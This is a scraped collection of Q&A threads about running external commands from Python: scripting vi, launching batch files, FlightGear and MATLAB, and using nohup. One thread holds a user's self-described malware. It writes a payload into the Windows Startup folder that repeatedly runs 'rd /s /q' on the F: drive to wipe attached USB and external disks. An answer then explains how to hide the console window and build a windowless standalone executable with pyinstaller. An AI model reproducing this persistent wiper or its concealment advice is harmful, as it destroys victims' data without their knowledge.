I want to make a python script that:
opens a file, executes the command i,
then writes 2 lines of code, hits escape
executes the command ZZ.
I was thinking along the lines of os.system("vi program") then os.system("i") and os.system("code"), but that didn't work because you can only execute commands. Thank you!
It's not clear why you want to do this. To truly run an interactive program, you'll have to create a pseudo-tty and manage it from your python script - not for the faint of heart.
If you just want to insert text into an existing file, you can do that directly from python, using the file commands. Or you could invoke a program like sed, the "stream editor", that is intended to do file editing in a scripted fashion. The sed command supports a lot of the ex command set (which is the same base command set that vi uses) so i, c, s, g, a, all work.
THE CODE
import pyautogui
from multiprocessing import Process
import os
vi_proc = Process(target = lambda: os.system("vi program"))
vi_proc.start()
pyautogui.typewrite("i")
pyautogui.typewrite("This code\n")
pyautogui.typewrite("really sucks!")
pyautogui.press("esc")
pyautogui.typewrite("ZZ")
vi_proc.join()
THE BLABLABLA
Well, I really not understand WHY, but I coded a working solution. I used PyAutoGUI, a really simple library that allow you to emulate key and mouse presses and movements.
You may also need to install some sysyem package, like libjpeg8-dev. Furthermore, probably you have also to issue the command xhost + temporarily before installation.
That said, in bash it will be simply:
echo -e "This code\nreally sucks!" > program
If you really want to run VIM from the command-line, you can use the VIM -c option. Something like this:
gvim -c "normal oFirst line" -c "normal oSecond line" -c "ZZ" foo.txt
(Adjust using o, O, i or I as according to where you want the line inserted).
There must be an easier way to insert two lines in a file, though.
Related
This is a frequent question, but reading the other threads did not solve the problem for me.
I provide the full paths to make sure I have not made any path formulation errors.
import subprocess
# create batch script
myBat = open(r'.\Test.bat','w+') # create file with writing access
myBat.write('''echo hello
pause''') # write commands to file
myBat.close()
Now I tried running it via three different ways, found them all here on SO. In each case, my IDE Spyder goes into busy mode and the console freezes. No terminal window pops up or anything, nothing happens.
subprocess.call([r'C:\\Users\\felix\\folders\\Batch_Script\\Test.bat'], shell=True)
subprocess.Popen([r'C:\\Users\\felix\\folders\\Batch_Script\Test.bat'], creationflags=subprocess.CREATE_NEW_CONSOLE)
p = subprocess.Popen("Test.bat", cwd=r"C:\\Users\\felix\\folders\\Batch_Script\\")
stdout, stderr = p.communicate()
Each were run with and without the shell=True setting, also with and without raw strings, single backslashes and so on. Can you spot why this wont work?
Spyder doesn't always handle standard streams correctly so it doesn't surprise me that you see no output when using subprocess.call because it normally runs in the same console. It also makes sense why it does work for you when executed in an external cmd prompt.
Here is what you should use if you want to keep using the spyder terminal, but call up a new window for your bat script
subprocess.call(["start", "test.bat"], shell=True)
start Starts a separate Command Prompt window to run a specified program or command. You need shell=True because it's a cmd built-in not a program itself. You can then just pass it your bat file as normal.
You should use with open()...
with open(r'.\Test.bat','w+') as myBat:
myBat.write('echo hello\npause') # write commands to file
I tested this line outside of ide (by running in cmd) and it will open a new cmd window
subprocess.Popen([r'Test.bat'], creationflags=subprocess.CREATE_NEW_CONSOLE)
Hey I have solution of your problem :)
don't use subprocess instead use os
Example :
import os
myBatchFile = f"{start /max} + yourFile.bat"
os.system(myBatchFile)
# "start /max" will run your batch file in new window in fullscreen mode
Thank me later if it helped :)
I'm playing around with Flightgear and I'd like a way to launch /Applications/FlightGear.app from a Python script with a specific aircraft, but it's not accepting additional parameters.
This works:
os.system("open /Applications/FlightGear.app/Contents/MacOS/fgfs")
This does, but does not select the aircraft... I've tried both with and without hyphens in front of 'aircraft'.
os.system("open /Applications/FlightGear.app/Contents/MacOS/fgfs --args aircraft=777-200ER")
For references,
(source: flightgear.org)
Something like this. Sometimes some of the arguments will have to be combined, depending on their relation to each other.
import subprocess
p = subprocess.Popen(['open', '/Applications/FlightGear.app/Contents/MacOS/fgfs', '--args', 'aircraft=777-200ER'])
if p.wait() != 0:
raise EnvironmentError()
This is basic information that could've been found simply by searching "python run command" in Google. SO isn't just a tool for the lazy.
On OS X, open is to run an application. To run a command-line program you would just do it like on unix/linux, assuming that /Applications/FlightGear.app/Contents/MacOS/fgfs is actually a runnable program.
I can't test it for this particular case, but I think you want os.system() to run exactly what you would type at the command-line prompt. Hence,
os.system("/Applications/FlightGear.app/Contents/MacOS/fgfs --aircraft=777-200ER")
I am writing a very simple piece of malware for fun (I don't like doing anything malicious to others). Currently, I have this:
import os
#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]
#find the userhome
userhome = os.path.expanduser('~')
#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)
After the user executes that script, it should run the payload every time the computer starts up. Currently, the payload will erase the F:\ drive, where USB disks, external HDDs, etc. will be found.
The problem is is that the command window shows up when the computer starts. I need a way to prevent anything from showing up any ware in a very short way that can be done easily in Python. I've heard of "pythonw.exe", but I don't know how I would get it to run at startup with that unless I change the default program for .py files. How would I go about doing this?
And yes, I do know that if one were to get this malware it wouldn't do abything unless they had Python installed, but since I don't want to do anything with it I don't care.
The window that pops up, should, in fact, not be your python window, but the window for the command you run with os (if there are two windows, you will need to follow the below suggestion to remove the actual python one). You can block this when you use the subprocess module, similar to the os one. Normally, subprocess also creates a window, but you can use this call function to avoid it. It will even take the optional argument of input, and return output, if you wish to pipe the standard in and out of the process, which you do not need to do in this case.
def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]
This should help. You would use it in place of os.system()
Also, you can make it work even without python (though you really shouldn't use it on other systems) by making it into an executable with pyinstaller. You may, in fact, need to do this along with the subprocess startupinfo change to make it work. Unlike py2exe or cxfreeze, pyinstaller is very easy to use, and works reliably. Install pyinstaller here (it is a zip file, however pyinstaller and other sites document how to install it with this). You may need to include the pyinstaller command in your system "path" variable (you can do this from control panel) if you want to create an executable from the command line. Just type
pyinstaller "<filename>" -w -F
And you will get a single file, standalone, window-less executable. The -w makes it windowless, the -F makes it a standalone file as opposed to a collection of multiple files. You should see a dist subdirectory from the one you called pyinstaller from, which will include, possibly among other things which you may ignore, the single, standalone executable which does not require python, and shouldn't cause any windows to pop up.
Here is my python code
DosCmd = 'matlab -wait -automation -nosplash -r "run \'' + to_run + "'\""
os.system(DosCmd)
curve_file = open('curve/'+str(index)+'.curve','r')
I run a .m file in a python script,it works fine but after executing the .m file,it is stuck in os.system(DosCmd).
To make python run the following code,I have to close this window:
Since this part of code is in a loop,it really disturbs me.
I found someone on the Internet says that matlab can exits automatically after executing the .m file,but mine just doesn't.Will someone tell what I did wrong or what should I do?Thx!
Add a call to exit to the MATLAB code that you execute.
DosCmd = 'matlab -wait -automation -nosplash -r "run \'' + to_run + "', exit\""
Your quoting looks a little wonky mind you, but you just need to add , exit to the end of the command that you pass in the -r argument.
By the way, this would be a lot easier with subprocess so that you could let subprocess do the quoting for you.
subprocess.check_call(['matlab', '-wait', '-automation', '-nosplash',
'-r', 'run \' + to_run + \', exit'])
Add the command exit to the last line of your script.
The -wait commandline switch means the starter application won't close until matlab exits. If you are acutally having python do something with the ML output, then -wait is correct, otherwise get rid of the -wait.
Also, are you sure you really want to be launching new matlab session each time in a loop? Matlab exposes DDE functionality, which would allow you to open one instance and send commands.
Or, you might look at PyMat, or mlabwrap, etc, one of the existing python to matlab bridge libraries.
I am dealing with a large data set and it takes some days to run, therefore I use nohup to run my script in terminal.
This time I need to first get a raw_input from terminal then by nohup, my codes starts running. Any suggestion how I can do that?
so first I need to get input from terminal like this
$ python myprogram.py
enter_input: SOMETHING
then the process should be like this:
$nohup python myprogram.py &
But I want to do this in one step via terminal. I hope my explanation is clear :)
Here's one more option, in case you want to stick with the user-friendly nature of the input box. I did something like this because I needed a password field, and didn't want the user to have to display their password in the terminal. As described here, you can create a small wrapper shell script with input boxes (with or without the -s option to hide), and then pass those variables via the sys.argv solution above. Something like this, saved in an executable my_program.sh:
echo enter_input:
read input
echo enter_password:
read -s password
nohup python myprogram.py $username $password &
Now, running ./my_program.sh will behave exactly like your original python my_program.py
I think you shouldn't your program have read input from stdin, but give it data via its command line.
So instead of
startdata = raw_input('enter_input:')
you do
import sys
startdata = sys.argv[1]
and you start your program with
$ nohup python myprogram.py SOMETHING &
and all works the way you want - if I get you right.
You could make your process fork to the background after reading the input. The by far easier variant, though, is to start your process inside tmux or GNU screen.